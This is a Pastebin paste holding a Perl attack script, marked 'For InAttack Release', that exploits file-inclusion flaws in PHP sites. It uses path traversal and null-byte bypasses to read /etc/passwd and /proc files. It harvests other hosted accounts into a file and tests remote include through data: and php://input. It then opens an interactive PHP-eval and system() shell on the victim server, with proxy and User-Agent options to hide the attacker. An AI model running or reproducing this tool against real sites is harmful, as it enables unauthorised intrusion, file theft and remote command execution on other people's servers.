Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #####
- #
- # For InAttack Release
- # Dr.TRO <[email protected]>
- #
- #####
- use strict;
- use warnings;
- use LWP::UserAgent;
- use Getopt::Std;
- use MIME::Base64;
- my $ua = LWP::UserAgent->new;
- my %options = ();
- getopts("u:p:sa:",\%options);
- sub usage {
- print <<USAGE
- Options :
- -u 'url' to test url
- -p 'ip:port' to use http proxy
- -a 'User-Agent' to set mikstura's User-Agent header
- -s flag which that using proxy is Socks4/5
- USAGE
- }
- if(!$options{u}){
- usage();
- exit;
- } else {
- if($options{p}) {
- $ua->proxy([qw(http https)] => $options{s} ? 'socks://' . $options{p} : 'http://' . $options{p});
- print "\n[+] Using proxy: " . ($options{s} ? 'socks://' . $options{p} : 'http://' . $options{p}) . "\n";
- } else {
- print "\n[-] No proxy using\n";
- }
- if($options{a}) {
- $ua->agent($options{a});
- print '[+] Using User-Agent: ' . $options{a} . "\n";
- } else {
- $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)');
- }
- if($options{u} =~ m/((?:http|https):\/\/([^\/\:]+)(?:\:\d+)?\/(.+\.[^\?]+)\?)(?:([^#]+)(?:#.+)?)/) {
- print "[+] Starting\n";
- } else {
- print "[-] Bad URL (correct: (http|https)://domain/path/script.php?param_name=param_value)\n";
- }
- my $OS = '';
- my $WEBSERVER_DISTR;
- my $ERROR_REPORTING;
- my $PRE_INCLUDE_PATH;
- my $AFTER_INCLUDE_PATH = '';
- my $AFTER_INCLUDE_PATH_BYPASSED;
- my $ALLOW_URL_INCLUDE = 1;
- my $NULLBYTE = '';
- my $ROOT_DIR = '/';
- my $LFR;
- my $URL = $1;
- my $HOST = $2;
- my $REQUEST_FILE = $3;
- my $GET = $4;
- my %GET_REQUEST;
- if(!$GET) {
- die "[x] No GET request\n";
- }
- while ($GET =~ m/(?:&)?([^=]+)=([^&]+)/g) {
- $GET_REQUEST{$1} = $2;
- }
- if(!%GET_REQUEST) {
- die "[x] Can't parse GET request\n";
- }
- my %TESTING_GET_REQUEST = %GET_REQUEST;
- if(length((my $TEST_RESPONSE_1 = $ua->get($URL . $GET))->content) == length($ua->get($URL . $GET)->content)){
- print "[+] Page is static...\n";
- if($TEST_RESPONSE_1->header('Server')){
- print '[+] Header "Server": ' . $TEST_RESPONSE_1->header('Server') . "\n";
- } else {
- print "[+] Header \"Server\" not detected \n";
- }
- if($TEST_RESPONSE_1->header('X-Powered-By')){
- print '[+] Header "X-Powered-By": ' . $TEST_RESPONSE_1->header('X-Powered-By') . "\n";
- } else {
- print "[+] Header \"X-Powered-By\" not detected \n";
- }
- } else {
- print "[x] Page isn't static...\n";
- exit;
- }
- while (my ($TESTING_NAME, $TESTING_VALUE) = each %TESTING_GET_REQUEST)
- {
- print "\n";
- my $ENDING = '';
- while (my ($NAME, $VALUE) = each %GET_REQUEST)
- {
- if ($TESTING_NAME ne $NAME){
- $ENDING .= '&' . $NAME . '=' . $VALUE;
- }
- }
- if(length(my $TEST_RESPONSE_1 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $ENDING)->content) != length(my $TEST_RESPONSE_2 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . '%2f%2a%2a%2f' . $ENDING)->content)){
- print "[?] Parameter '$TESTING_NAME' might be vulnerable...\n";
- if($TEST_RESPONSE_2 =~ /<b>([\/\w\d\.]+)$REQUEST_FILE<\/b>/){
- $OS = '*nix';
- print '[+] Path found: ' . $1 . "\n";
- my $PATH = $1;
- print "[+] OS discover: *nix\n";
- if($PATH) {
- while($PATH =~ /[^\/]+\//g) {
- $ROOT_DIR .= '../';
- }
- }
- if($ROOT_DIR ne '/') {
- print '[+] Root: ' . $ROOT_DIR . "\n";
- }
- }else {
- my $WIN_REQUEST_FILE = $REQUEST_FILE;
- $WIN_REQUEST_FILE =~ s/\//\\\\/g;
- if($TEST_RESPONSE_2 =~ /<b>([\w\d\:\\\.]+)$WIN_REQUEST_FILE<\/b>/){
- $OS = 'Win';
- print '[+] Path found: ' . $1 . "\n";
- print "[+] OS discover: Win\n";
- } else {
- print "[-] Path not found...\n";
- }
- }
- my $QUOTED_TESTING_VALUE = quotemeta($TESTING_VALUE);
- if($TEST_RESPONSE_2 =~ /(?:include|include_once|require|require_once)\((.+)?$QUOTED_TESTING_VALUE\/\*\*\/(.+)?\)/){
- print "[+] Error reporting - on\n";
- $ERROR_REPORTING = 1;
- if($1) {
- $PRE_INCLUDE_PATH = $1;
- print '[-] Founded pre-path: ' . $1 . "\n";
- }
- if($2) {
- $AFTER_INCLUDE_PATH = $2;
- print '[-] Founded after-path: ' . $2 . "\n";
- } else {
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- if(!$1) {
- print "[+] It's clear include\n";
- } else {
- print "[+] After-path not found\n";
- }
- }
- }
- if($AFTER_INCLUDE_PATH) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . '%00' . $ENDING)->content;
- $TEST_RESPONSE_3 =~ s/$AFTER_INCLUDE_PATH\x00//g;
- if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print "[+] Ussing default null-byte\n";
- $NULLBYTE = '%00';
- } else {
- for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
- if($OS ne "Win") {
- $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
- if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print "[+] Ussing slash alternative null-byte\n";
- } else {
- print "[-] Cannot bypass after-path\n";
- }
- } else {
- print "[-] Cannot bypass after-path\n";
- }
- }
- }
- if(!$AFTER_INCLUDE_PATH_BYPASSED) {
- $NULLBYTE = '%00';
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print "[+] Bypassed after-path with null-byte\n";
- } else {
- $NULLBYTE = '';
- for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print "[+] Bypassed after-path with slashes\n";
- } else {
- print "[-] Cann't bypass after-path\n";
- }
- }
- }
- if((!$OS | $OS eq '*nix') && $ROOT_DIR eq '/') {
- my $DONE = 0;
- while(length($ROOT_DIR) < 47 and $DONE == 0) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
- $DONE = 1;
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print '[+] Root: ' . $ROOT_DIR . "\n";
- }
- if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
- open(FH, '>' . $HOST . '_web-hosts.txt');
- while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
- print FH "$1 - $2\n";
- }
- close(FH);
- print "[+] Getted list of other web-hostings\n";
- }
- $ROOT_DIR .= '../';
- }
- if($DONE == 0) {
- while(length($ROOT_DIR) < 47 and $DONE == 0) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
- $DONE = 1;
- $AFTER_INCLUDE_PATH_BYPASSED = 1;
- print '[+] Root: ' . $ROOT_DIR . "\n";
- }
- open(FH, '>' . $HOST . '_web-hosts.txt');
- if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
- open(FH, '>' . $HOST . '_web-hosts.txt');
- while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
- print FH "$1 - $2\n";
- }
- close(FH);
- print "[+] Getted list of other web-hostings\n";
- }
- $ROOT_DIR .= '../';
- }
- if($DONE == 0) {
- print "[-] Root path not found\n";
- } else {
- print "[-] It's seem site has WAF\n";
- }
- }
- }
- if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=http://google.com/' . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 !~ /(?:include|include_once|require|require_once)\(http:\/\/google.com\/\)/ && $TEST_RESPONSE_3 =~ /<title>Google<\/title>/){
- $ALLOW_URL_INCLUDE = 1;
- print "[+] Remote File Include - avaible\n";
- print "[+] allow_url_include = 1\n";
- } else {
- print "[-] Remote File Include - disalowed\n";
- if ($TEST_RESPONSE_3 =~ /allow_url_include=0/ || $TEST_RESPONSE_3 =~ /URL file-access is disabled/) {
- $ALLOW_URL_INCLUDE = 0;
- print "[-] allow_url_include = 0\n";
- } else {
- print "[?] allow_url_include - unknow value\n";
- }
- }
- }
- if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/version' . $NULLBYTE . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /(Linux version.+\(gcc.+\(([\w\s]+) [\d\.\-\w]+.+\)(?:.+)?\).+\w{3} \d{4})/){
- print "[+] cat /proc/version :\n";
- print $1 . "\n";
- print '[+] Distr: ' . $2 . "\n";
- } else {
- print "[-] cat /proc/version\n";
- }
- }
- if($AFTER_INCLUDE_PATH_BYPASSED) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/self/environ' . $NULLBYTE . $ENDING)->content;
- if ($TEST_RESPONSE_3 =~ /include\((?:$ROOT_DIR)proc\/self\/environ\).+Permission denied/){
- print "[-] Haven't enougth permissions to /proc/self/environ\n";
- } elsif ($TEST_RESPONSE_3 =~ /HTTP_USER_AGENT=[^\x00]+\x00/){
- print "[+] /proc/self/environ\n";
- } else {
- print "[-] /proc/self/environ\n";
- }
- }
- if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=data%3A%3Bbase64%2C%20PD9waHAgZWNobyAxMDA1MDA7ID8%2b' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING)->content;
- if($TEST_RESPONSE_3 =~ /\<\?php echo 100500\; \?\>/) {
- $LFR = 1;
- print "[-] It's LFR\n";
- } elsif ($TEST_RESPONSE_3 =~ /100500/) {
- $LFR = 0;
- $ALLOW_URL_INCLUDE = 1;
- print "[+] allow_url_include = 1\n";
- print "[+] It's include with data: scheme support\n";
- print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
- chomp(my $ANSWER = <STDIN>);
- if($ANSWER eq 'y') {
- $TEST_RESPONSE_3 =~ /(.+)100500(.+)/s;
- my $PRE_ANSWER = quotemeta($1);
- my $AFTER_ANSWER = quotemeta($2);
- print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
- my $ANSWERED = 0;
- while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
- if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
- print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
- } else {
- if ($ANSWER eq 'p') {
- $ANSWERED = 1;
- my $SH = 1;
- print "[+] PHP interactive console\n";
- while($SH) {
- print '[:] ';
- chomp(my $CMD = <STDIN>);
- if($CMD ne 'quit') {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
- if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
- print "$1\n";
- } else {
- print 'No result returned for ' . $CMD . "\n";
- }
- } else {
- $SH = 0;
- }
- }
- } elsif ($ANSWER eq 's') {
- $ANSWERED = 1;
- $ANSWERED = 1;
- my $SH = 1;
- print "[+] Shell interactive console\n";
- while($SH) {
- print '[:] ';
- chomp(my $CMD = <STDIN>);
- if($CMD ne 'quit') {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
- if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
- print "$1\n";
- } else {
- print 'No result returned for ' . $CMD . "\n";
- }
- } else {
- $SH = 0;
- }
- };
- } elsif ($ANSWER eq 'c') {
- print "[-] Canceled\n";
- $ANSWERED = 1;
- }
- }
- }
- }
- }
- }
- if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php echo \'<version>\' . substr(phpversion(), 0, 1) . \'</version>\'; ?>')->content;
- if($TEST_RESPONSE_3 =~ /\<\?php\ echo\ (:\\)?\'\<version\>(:\\)?\'\ \.\ substr\(phpversion\(\)\,\ 0\,\ 1\)\ \.\ (:\\)?\'\<\/version\>(:\\)?\'\;\ \?\>/) {
- $LFR = 1;
- print "[-] It's LFR\n";
- } elsif ($TEST_RESPONSE_3 =~ /<version>(\d+)<\/version>/) {
- $LFR = 0;
- $ALLOW_URL_INCLUDE = 1;
- print "[+] It's include with php://input scheme support\n";
- print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
- chomp(my $ANSWER = <STDIN>);
- if($ANSWER eq 'y') {
- $TEST_RESPONSE_3 =~ /(.+)<version>\d+<\/version>(.+)/s;
- my $PRE_ANSWER = quotemeta($1);
- my $AFTER_ANSWER = quotemeta($2);
- print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
- my $ANSWERED = 0;
- while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
- if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
- print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
- } else {
- if ($ANSWER eq 'p') {
- $ANSWERED = 1;
- my $SH = 1;
- print "[+] PHP interactive console\n";
- while($SH) {
- print '[:] ';
- chomp(my $CMD = <STDIN>);
- if($CMD ne 'quit') {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
- if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
- print "$1\n";
- } else {
- print 'No result returned for ' . $CMD . "\n";
- }
- } else {
- $SH = 0;
- }
- }
- } elsif ($ANSWER eq 's') {
- $ANSWERED = 1;
- $ANSWERED = 1;
- my $SH = 1;
- print "[+] Shell interactive console\n";
- while($SH) {
- print '[:] ';
- chomp(my $CMD = <STDIN>);
- if($CMD ne 'quit') {
- my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
- if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
- print "$1\n";
- } else {
- print 'No result returned for ' . $CMD . "\n";
- }
- } else {
- $SH = 0;
- }
- };
- } elsif ($ANSWER eq 'c') {
- print "[-] Canceled\n";
- $ANSWERED = 1;
- }
- }
- }
- }
- if($1 >= 5) {
- print "[+] It's include with php://filter scheme support\n";
- }
- }
- }
- } else {
- print "[-] Parametr '$TESTING_NAME' isn't vulnerable...\n";
- }
- }
- print "\n"
- }
Advertisement
Add Comment
Please, Sign In to add comment